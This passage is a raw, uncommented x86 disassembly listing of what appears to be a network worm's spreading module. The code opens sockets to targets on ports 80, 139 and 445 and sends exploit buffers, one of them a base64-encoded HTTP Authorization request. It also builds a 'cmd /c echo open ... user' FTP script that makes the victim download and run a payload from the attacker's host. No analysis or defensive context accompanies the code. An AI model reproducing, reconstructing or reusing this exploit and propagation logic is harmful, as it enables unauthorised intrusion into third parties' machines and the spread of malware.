		call	sub_40CCE2
		lea	ecx, [ebp+var_20]
		call	sub_40CC68
		push	offset loc_4323BC
		lea	ecx, [ebp+var_50]
		call	sub_40CD16
		lea	ecx, [ebp+var_50]
		call	sub_40CC68
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_432044
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323B0
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323AC
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A8
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_43239C
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_432397+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9FC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9E0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA34
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320D4
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432104
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6FC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43204C
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432110
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43215C[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB98
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432308
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429110
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB720
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4321A0
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9E4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA7C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		nop
		call	near ptr 26A0475h


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
